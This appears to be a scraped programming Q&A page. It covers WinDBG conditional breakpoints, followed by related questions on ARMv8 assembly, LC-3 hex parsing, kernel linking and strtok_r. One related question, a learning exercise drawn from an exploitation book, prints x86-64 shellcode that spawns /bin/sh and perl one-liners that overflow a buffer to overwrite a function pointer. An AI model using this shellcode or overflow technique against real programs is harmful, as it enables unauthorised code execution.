WinDBG conditional breakpoint based on string arguments - c

I want to set a conditional breakpoint when the value of the 4th argument is equal to "abc".
void FunctionA(char* a, char* b, char* c, char* d)
{
`enter code here`//some code here
}
I use the following command but it doesn't work. Could you help?
bp app!FunctionA "as /mu ${/v:MyAlias} poi(d);.block{.if ($spat(\"${MyAlias}\", \"abc\") == 0) { } .else { gc } }"
Note: app.exe is my application name.

you cannot use /mu on char * /mu is for null terminated unicode string not ascii string for ascii string use /ma
I assume you have descriptive argument names and not an argument like d
which would obviously clash with 0xd aka 0n13
is d a number , string or symbol ??
what would poi(d) resolve to in your case is it poi(0x13) which obviously is a bad de-referance
or a local symbol illogically named d ??
also alias is not interpreted when you break
when using alias you should always stuff them in a script file and execute
the script file on each break
here is an example of a script file
as /ma ${/v:MyAlias} poi(k)
.block {
r $t0 = $spat("${MyAlias}" , "tiger")
.printf "%x\t${MyAlias}\n" , #$t0
.if(#$t0 != 1) {gc}
}
here is code on which this is operated comipled in debug mode with optimizations turned off
in release mode compiler will be smart enough to inline the printf() call
#include <stdio.h>
#include <stdlib.h> //msvc _countof
void func(char* h,char* i,char* j,char* k ) {
printf( "%s %s %s %s\n" ,h,i,j,k );
return;
}
int main(void) {
char* foo[] = {"goat","dog","sheep","cat","lion","tiger",0,"vampire"};
for(int x=0;x<_countof(foo);x++) {
func("this" , "is" , "a" , foo[x]);
}
return 0;
}
usage
windbg app.exe
set the break and run
keep in mind this or any script that uses alias will fail on
evaluating the null entry before char * vampire
if you want to break on "vampire" you may need to improvise without using alias at all
0:000> bl
0:000> bp strbp!func "$$>a< strbpcond.txt"
0:000> bl
0 e 00171260 0001 (0001) 0:**** strbp!func "$$>a< strbpcond.txt"
0:000> g
ModLoad: 72670000 72673000 C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL
0 goat
0 dog
0 sheep
0 cat
0 lion
1 tiger
eax=00000005 ebx=7ffd7000 ecx=00000005 edx=001ac1e0 esi=001b6678 edi=001b667c
eip=00171260 esp=002bfa54 ebp=002bfa90 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
strbp!func:
00171260 55 push ebp
0:000> dv
h = 0x001ac1f8 "this"
i = 0x001ac1f4 "is"
j = 0x001ac1f0 "a"
k = 0x001ac1e0 "tiger"

Related

How can I use .bss section of memory(for global variables) for assembly(armv8) program properly? [duplicate]

Here's my assembly code and my main subroutine.
Here are my macros and constants:
.text
fmt: .string "x \t\t ln(x)\n"
sfmt: .string "%.10lf \t %.10lf\n"
error: .string "Error"
filename: .string "input.bin"
.data
LIM: .double 0r1.0E-13
zero: .double 0r0.0
one: .double 0r1.0
half: .double 0r0.5
define(i_r,w19)
define(j_r,w20)
define(n_r,w21)
define(fd_r,w22)
define(ln_x,d8)
define(cur_term,d24)
define(n_read,x25)
define(x_j,d26)
BUF_SIZE = 98*8
AT_FDCWD = -100
O_RDONLY = 0
buf_s = 16
.bss
x_arr: .skip BUF_SIZE
fp .req x29
lr .req x30
.balign 4
.global main
Here's my main subroutine:
main:
stp fp,lr,[sp,-16]!
mov fp,sp
ldp fp,lr,[sp],16
ret
I already used gdb however, it only points out that the SIGSEGV signal came from 0x0000000000420358 in main(). How can I narrow down where in 'main' this signal comes from?
P.S I only know the basics of GDB.
GDB Stuff:(update)
(gdb) x/i $pc
=> 0x420358: .inst 0x00000000 ; undefined
I don't know if this helps but this is the C version THAT WORKS. I am converting it to assembly because thats what I need to hand in. Also we cannot use any types of converter since thats considered cheating.
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h> //Used for the keyword for flags and other predefined values for the argument on openat,etc.
#define LIM 1.0e-13
#define DOUBSIZE 100 //There are 97 double values in the binary file
#define buf_size 98*8
double x[DOUBSIZE];
int main() {
register int i = 1,j = 0,fd = openat(AT_FDCWD,"input.bin",O_RDONLY); //int fd = openat(int dirfd,const char *pathname (basically a string),int flags,mode_t mode);
register double ln_x = 0.0,cur_term;
//double *x; //(only local variable) //(a local variable so it must be in the stack)only assuming there are 32 double precision values in the binary file
register long n_read = read(fd,&x,buf_size); //reads in 8 bytes(lost the double x[...] in this line since x is now pointing at the buffer
if(fd == -1) {
printf("Error!");
return 0;
}
if(n_read == -1) { //Error checker
printf("Error!");
return 0;
}
printf("x \t\t ln(x)\n"); //The header of the thing to be printed
while(j < (buf_size/8)) { //note that it is implied that EOF = -1 in C
if(x[j] <= 0.5) { //if x is less than or equal to 1/2,go to the next double value(assuming I don't know values in the bin file)
j++;
i = 1;
continue;
}
cur_term = (1.0/i) * (pow((double)((x[j]-1.0)/(x[j])),i));
ln_x += cur_term;
while(cur_term >= LIM) { //continue to accumulate terms until the absolute value of the term is less than 1.0E-13
i++; //follows the pattern of the series.
cur_term = (1.0/i)*(pow((double)((x[j]-1.0)/(x[j])),i)); //since it should start with x[1]
ln_x += cur_term; //adds the new term to previous ln(x) value
}
printf("%.10lf \t %.10lf\n",x[j],ln_x); //prints the current value of ln(x) and x
j++; //manages which x double value will be used next
i = 1;
ln_x = 0.0;
}
close(fd);
return 0;
}
Turns out your main is in the .bss section, not .text where it belongs, so it can only contain all-zero bytes. (And it won't be executable).
GDB normally only wants to disassemble code in the .text section so that also explains GDB being weird.
This is why you should reduce your code to a MCVE (Minimal / complete / verifiable example) to make it as small as possible while still containing the problem.

Why does storing a %x value to a variable do funky things when leading value is 8-f?

I am writing a program in c which imitates an LC-3 simulator. One of the objectives of this program is to store a 4 digit hexadecimal value from a file (0000 - ffff), and to convert it to binary, and interpret an LC-3 instruction from it. The following code segment shows how I am storing this value into a variable (which is where the problem seems to lie), and below that is the output I am receiving:
int *strstr(int s, char c);
void initialize_memory(int argc, char *argv[], CPU *cpu) {
FILE *datafile = get_datafile(argc, argv);
// Buffer to read next line of text into
#define DATA_BUFFER_LEN 256
char buffer[DATA_BUFFER_LEN];
int counter = 0;
// Will read the next line (words_read = 1 if it started
// with a memory value). Will set memory location loc to
// value_read
//
int value_read, words_read, loc = 0, done = 0;
char comment;
char *read_success; // NULL if reading in a line fails.
int commentLine =0;
read_success = fgets(buffer, DATA_BUFFER_LEN, datafile);
while (read_success != NULL && !done) {
// If the line of input begins with an integer, treat
// it as the memory value to read in. Ignore junk
// after the number and ignore blank lines and lines
// that don't begin with a number.
//
words_read = sscanf(buffer, "%04x%c", &value_read, &comment);
// if an integer was actually read in, then
// set memory value at current location to
// value_read and increment location. Exceptions: If
// loc is out of range, complain and quit the loop. If
// value_read is outside 0000 and ffff, then it's a
// sentinel -- we should say so and quit the loop.
if (value_read == NULL || comment ==';')
{
commentLine = 1;
}
if (value_read < -65536 || value_read > 65536)
{
printf("Sentinel read in place of Memory location %d: quitting loop\n", loc);
break;
}
else if (value_read >= -65536 && value_read <= 65536)
{
if (commentLine == 0)
{
if (counter == 0)
{
loc = value_read;
cpu -> memLocation = loc;
printf("\nPC location set to: x%04x \n\n", cpu -> memLocation);
counter++;
}
else
{
cpu -> mem[loc] = value_read;
printf("x%04x : x%d\t %04x \t ", loc,loc, cpu -> mem[loc]);
print_instr(cpu, cpu -> mem[loc]);
loc++;
value_read = NULL;
}
}
}
if (loc > 65536)
{
printf("Reached Memory limit, quitting loop.\n", loc);
break;
}
commentLine = 0;
read_success = fgets(buffer, DATA_BUFFER_LEN, datafile);
// Gets next line and continues the loop
}
fclose(datafile);
// Initialize rest of memory
while (loc < MEMLEN) {
cpu -> mem[loc++] = 0;
}
}
My aim is to show the Hex address : decimal address, the hex instruction, binary code, and then at the end, its LC-3 instruction translation. The data I am scanning from the file is the hex instruction:
x1000 : x4096 200c 0010000000001100 LD, R0, 12
x1001 : x4097 1221 0001001000100000 ADD, R1, R0, 0
x1002 : x4098 1401 0001010000000000 ADD, R2, R0, R0
x1003 : x4099 ffff94bf 0000000000000000 NOP
x1004 : x4100 166f 0001011001101110 ADD, R3, R1, 14
x1005 : x4101 1830 0001100000110000 ADD, R4, R0, -16
x1006 : x4102 1b04 0001101100000100 ADD, R5, R4, R4
x1007 : x4103 5d05 0101110100000100 AND, R6, R4, R4
x1008 : x4104 5e3f 0101111000111110 AND, R7, R0, -2
x1009 : x4105 5030 0101000000110000 AND, R0, R0, -16
x100a : x4106 52ef 0101001011101110 AND, R1, R3, 14
x100b : x4107 5fe0 0101111111100000 AND, R7, R7, 0
x100c : x4108 fffff025 0000000000000000 NOP
x100d : x4109 7fff 0111111111111110 STR, R7, R7, -2
As you can see, my problem lies in addresses x1003 and x100c;
As stated in the headline, when storing the hex instruction, if the value is between 8 and f, my best guess is that the scan is interpreting it as a negative value because of the leading value of the first hex digit in binary. If that is the case, it makes perfect sense, but is there a way I can bypass this? And if it isn't the case, what else could be causing this?
I found that if I pass value_read into print_instr() instead of cpu -> mem[loc], then the output works correctly. However, this is only a temporary fix as I need to store that value for later use in the program(for actual execution of the instruction). So the problem seems to arise while storing, and I am unsure as to why.
Additionally, (and this is a side question) though it is not a pressing concern, since I am using %x%c (value_read, comment) to store values from the file, I have been having trouble with the first few lines of the .hex file I am using, in which there is no hex value in the line, but instead just a comment symbol (for those unfamiliar with lc_3 simulators, the ';' is the symbol for comments). Whenever this is the case, I get a hex value of zero, although I wish for it to be NULL(In my program, I implemented a temporary solution because I am not sure how to fix it). I am not an expert in c just yet, and have not been able to find a solution to this problem. If you can help, it would be greatly appreciated, otherwise, it isn't a big issue for what I am trying to achieve with this program, it is more so just for my own knowledge and growth.
Thank you all in advance for your help :)
In a scanf family format string, the %x specifier means to read into an unsigned int. The corresponding argument must have exactly the type unsigned int *.
However you supply an argument of type int *.
This causes undefined behaviour. What you are seeing is the chance interaction between library elements that expect you to follow the rules, and your code that didn't follow the rules.
To fix it, follow the rules. For example, read into an unsigned int variable.
NB. 0 does nothing in the scanf format string; %04x is equivalent to %4x.
May I suppose that cpu->mem is of type array of short or alike? Then sign extension occurs when printing cpu->mem[loc]. Remind that arguments are at least converted to int at printf calls. Symptom is the same as in the following code:
int i;
scanf("%4x",&i);
printf("%x\n",i);
short s = i;
printf("--> %x\n",s);
The short equals to -1 then when you set it to an int it is converted to -1, 0xffffffff (if 32-bits).
Use unsigned short in place.

Why 2 byte are missing when trying to overwrite a pointer to function using the address of a environement variable

I'm on an architecture 64bits.
I'm trying to exploit an buffer overflow using a SHELLCODE inside a environnement variable.
export SHELLCODE=$(perl -e 'print "\x90"x200 . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"')
I'm getting the variable's environment address using getenv()
printf("%s is at %p\n", argv[1], getenv(argv[1]));
which give me
0x7fffffffe2c5
This is my code in C
struct user
{
int uid;
int credits;
int highscore;
char name[100];
int (*current_game) ();
};
void function()
{
printf("inside function\n");
}
void function_2()
{
printf("inside function2\n");
}
void input_name()
{
char *name_ptr, input_char='\n';
player.current_game = &function;
while(input_char == '\n')
scanf("%c", &input_char);
name_ptr = (char *) &(player.name);
while(input_char != '\n')
{
*name_ptr = input_char;
scanf("%c", &input_char);
name_ptr++;
}
*name_ptr = 0;
player.current_game();
}
I find out the byte difference between name[100] and (*current_game)() usign GDB.
(gdb) print player
$1 = {uid = 0, credits = 0, highscore = 0, name = '\000' <repeats 99 times>, current_game = 0x0}
(gdb) print &player.name
$2 = (char (*)[100]) 0x6030ec <player+12>
(gdb) print &player.current_game
$3 = (int (**)()) 0x603150 <player+112>
(gdb) print (0x603150 - 0x6030ec)
$5 = 100
And the byte difference is 100.
The problem now that it's work when I'm trying to overwrite (*current_game)() with an "internal" function's address but not with an address of an environment's variable. Function_2() for example.
nm ./a.out
000000000040110e T function_2()
So I overwrite (*current_game) by this way
perl -e 'print "A" x 100. "\x0e\x11\40"' | ./a.out
Output:
inside function2
So it work. However it doesn't work when I'm trying to overwrite using an environment's variable.
As I show you above. My env variable is store at
0x7fffffffe2c5
So when I overwrite by this way
perl -e 'print "A" x 100. "\xc5\xe2\xff\xff\xff\x7f"' | ./a.out
Which doesn't work, When I display of *(current_game)() the value of gdb.
0xffffe2c5
Why 2 byte is missing ? (\xff\x7f)
Why does it work for a "internal" function but not with a env variable ?
How can I write the entire address (0x7fffffffe2c5 instead of 0xffffe2c5)
Of course, How can I fix the problem.
Thanks.
NOTE: The example I mentioned here is a code snipet from the book "The Art Of Exploitation 2nd" written by Jon Erickson. However I modified a little bit the code because the original one is very very huge. It will avoid you to read to much code. My original post is enough long lol.

Undefined reference to in os kernel linking

i have a problem. I making simple OS kernel with this tutorial: http://wiki.osdev.org/Bare_Bones#Linking_the_Kernel
but,if i want to link files boot.o and kernel.o, gcc compiler returns this error:
boot.o: In function `start':
boot.asm:(.text+0x6): undefined reference to `kernel_main'
collect2.exe: error: ld returned 1 exit status.
sources of files:
boot.asm
; Declare constants used for creating a multiboot header.
MBALIGN equ 1<<0 ; align loaded modules on page boundaries
MEMINFO equ 1<<1 ; provide memory map
FLAGS equ MBALIGN | MEMINFO ; this is the Multiboot 'flag' field
MAGIC equ 0x1BADB002 ; 'magic number' lets bootloader find the header
CHECKSUM equ -(MAGIC + FLAGS) ; checksum of above, to prove we are multiboot
; Declare a header as in the Multiboot Standard. We put this into a special
; section so we can force the header to be in the start of the final program.
; You don't need to understand all these details as it is just magic values that
; is documented in the multiboot standard. The bootloader will search for this
; magic sequence and recognize us as a multiboot kernel.
section .multiboot
align 4
dd MAGIC
dd FLAGS
dd CHECKSUM
; Currently the stack pointer register (esp) points at anything and using it may
; cause massive harm. Instead, we'll provide our own stack. We will allocate
; room for a small temporary stack by creating a symbol at the bottom of it,
; then allocating 16384 bytes for it, and finally creating a symbol at the top.
section .bootstrap_stack
align 4
stack_bottom:
times 16384 db 0
stack_top:
; The linker script specifies _start as the entry point to the kernel and the
; bootloader will jump to this position once the kernel has been loaded. It
; doesn't make sense to return from this function as the bootloader is gone.
section .text
global _start
_start:
; Welcome to kernel mode! We now have sufficient code for the bootloader to
; load and run our operating system. It doesn't do anything interesting yet.
; Perhaps we would like to call printf("Hello, World\n"). You should now
; realize one of the profound truths about kernel mode: There is nothing
; there unless you provide it yourself. There is no printf function. There
; is no <stdio.h> header. If you want a function, you will have to code it
; yourself. And that is one of the best things about kernel development:
; you get to make the entire system yourself. You have absolute and complete
; power over the machine, there are no security restrictions, no safe
; guards, no debugging mechanisms, there is nothing but what you build.
; By now, you are perhaps tired of assembly language. You realize some
; things simply cannot be done in C, such as making the multiboot header in
; the right section and setting up the stack. However, you would like to
; write the operating system in a higher level language, such as C or C++.
; To that end, the next task is preparing the processor for execution of
; such code. C doesn't expect much at this point and we only need to set up
; a stack. Note that the processor is not fully initialized yet and stuff
; such as floating point instructions are not available yet.
; To set up a stack, we simply set the esp register to point to the top of
; our stack (as it grows downwards).
mov esp, stack_top
; We are now ready to actually execute C code. We cannot embed that in an
; assembly file, so we'll create a kernel.c file in a moment. In that file,
; we'll create a C entry point called kernel_main and call it here.
extern kernel_main
call kernel_main
; In case the function returns, we'll want to put the computer into an
; infinite loop. To do that, we use the clear interrupt ('cli') instruction
; to disable interrupts, the halt instruction ('hlt') to stop the CPU until
; the next interrupt arrives, and jumping to the halt instruction if it ever
; continues execution, just to be safe.
cli
.hang:
hlt
jmp .hang
kernel.c
#if !defined(__cplusplus)
#include <stdbool.h> /* C doesn't have booleans by default. */
#endif
#include <stddef.h>
#include <stdint.h>
/* Check if the compiler thinks if we are targeting the wrong operating system. */
#if defined(__linux__)
#error "You are not using a cross-compiler, you will most certainly run into trouble"
#endif
/* This tutorial will only work for the 32-bit ix86 targets. */
#if !defined(__i386__)
#error "This tutorial needs to be compiled with a ix86-elf compiler"
#endif
/* Hardware text mode color constants. */
enum vga_color
{
COLOR_BLACK = 0,
COLOR_BLUE = 1,
COLOR_GREEN = 2,
COLOR_CYAN = 3,
COLOR_RED = 4,
COLOR_MAGENTA = 5,
COLOR_BROWN = 6,
COLOR_LIGHT_GREY = 7,
COLOR_DARK_GREY = 8,
COLOR_LIGHT_BLUE = 9,
COLOR_LIGHT_GREEN = 10,
COLOR_LIGHT_CYAN = 11,
COLOR_LIGHT_RED = 12,
COLOR_LIGHT_MAGENTA = 13,
COLOR_LIGHT_BROWN = 14,
COLOR_WHITE = 15,
};
uint8_t make_color(enum vga_color fg, enum vga_color bg)
{
return fg | bg << 4;
}
uint16_t make_vgaentry(char c, uint8_t color)
{
uint16_t c16 = c;
uint16_t color16 = color;
return c16 | color16 << 8;
}
size_t strlen(const char* str)
{
size_t ret = 0;
while ( str[ret] != 0 )
ret++;
return ret;
}
static const size_t VGA_WIDTH = 80;
static const size_t VGA_HEIGHT = 25;
size_t terminal_row;
size_t terminal_column;
uint8_t terminal_color;
uint16_t* terminal_buffer;
void terminal_initialize()
{
terminal_row = 0;
terminal_column = 0;
terminal_color = make_color(COLOR_LIGHT_GREY, COLOR_BLACK);
terminal_buffer = (uint16_t*) 0xB8000;
for ( size_t y = 0; y < VGA_HEIGHT; y++ )
{
for ( size_t x = 0; x < VGA_WIDTH; x++ )
{
const size_t index = y * VGA_WIDTH + x;
terminal_buffer[index] = make_vgaentry(' ', terminal_color);
}
}
}
void terminal_setcolor(uint8_t color)
{
terminal_color = color;
}
void terminal_putentryat(char c, uint8_t color, size_t x, size_t y)
{
const size_t index = y * VGA_WIDTH + x;
terminal_buffer[index] = make_vgaentry(c, color);
}
void terminal_putchar(char c)
{
terminal_putentryat(c, terminal_color, terminal_column, terminal_row);
if ( ++terminal_column == VGA_WIDTH )
{
terminal_column = 0;
if ( ++terminal_row == VGA_HEIGHT )
{
terminal_row = 0;
}
}
}
void terminal_writestring(const char* data)
{
size_t datalen = strlen(data);
for ( size_t i = 0; i < datalen; i++ )
terminal_putchar(data[i]);
}
void kernel_main()
{
terminal_initialize();
/* Since there is no support for newlines in terminal_putchar yet, \n will
produce some VGA specific character instead. This is normal. */
terminal_writestring("Hello\n");
}
It looks like you’re using GCC on Microsoft® Windows® (for example, with Cygwin), judging from the collect2.exe reference. This means your native executable format, which you appear to be using, prepends an underscore to C identifiers to keep them separate from assembly identifiers, which is something most object formats, but not the ELF format wide-spread under modern Unix, does.
If you change your call to _kernel_main, the link error will likely go away.
But please note this line, quoted from your question:
#error "This tutorial needs to be compiled with a ix86-elf compiler"
You’re violating a basic tenet of the tutorial you’re using. I suggest you get a GNU/Linux or BSD VM for i386 (32-bit), and run the tutorial within that.

strtok returns too many strings

I am developing a program that's a sort of heartbeat designed to run on a variety of servers. The function in question, reproduced below, retrieves the list of "friends," and for each "friend" in the list, it executes a handshake operation (via ping_and_report, not shown).
The problem is that on first call to this routine, strtok_r seems to return more strings than are present in the source, and I have not been able to determine why. The code:
void pingServerList(int dummy) {
char *p ;
char *my_friends ;
char *nextSvr, *savePtr ; ;
char *separators = ",; \t" ;
server_list_t *ent = NULL ;
static long round_nbr = 0 ;
unsigned int len ;
time_t now ;
char message[4096] ;
char *hex ;
round_nbr++ ;
p = get_server_list() ;
if (p) {
len =strlen(p) ;
my_friends = malloc(len+1) ;
strncpy(my_friends, p, len) ;
}
nextSvr = strtok_r(my_friends, separators, &savePtr) ;
while (nextSvr) {
// Ensure that nobody messes with nextSvr. . .
char *workSvr = malloc(strlen(nextSvr) + 1) ;
strcpy(workSvr, nextSvr) ;
if (debug) {
len = strlen(workSvr) * 2 + 3 ;
hex = malloc(len) ;
get_hex_val(workSvr, hex, len) ;
write_log(fp_debug
, "Server: %s (x'%s')"
, workSvr, hex) ;
free(hex) ;
}
ping_and_report(workSvr, round_nbr) ;
free(workSvr) ;
nextSvr = strtok_r(NULL, separators, &savePtr) ;
}
... is not too complex at that point, I think. And I don't see any room for mucking with the values. But the log file reveals the issue here:
2012-07-09 23:26 Debug activated...
2012-07-09 23:26 get_server_list() returning velmicro, stora-2 (x'76656C6D6963726F2C2073746F72612D32')
2012-07-09 23:26 Server: velmicro (x'76656C6D6963726F')
2012-07-09 23:26 Server: stora-2 (x'73746F72612D32')
2012-07-09 23:26 Server: re (x'726519')
The crazy thing is that (at least from several executions of the code) this will only fail on the first call. Calls 2-n (where n is in the hundreds) do not exhibit this problem.
Do any of you folks see what I'm obviously missing? (BTW: this fails exactly the same way on four different systems with versions of linux.)
when you write this
strncpy(my_friends, p, len) ;
you are not ensuring that my_friends ends with a \0
try
strncpy(my_friends, p, len)[len-1] = '\0';
alt. use calloc to allocate my_friends

Resources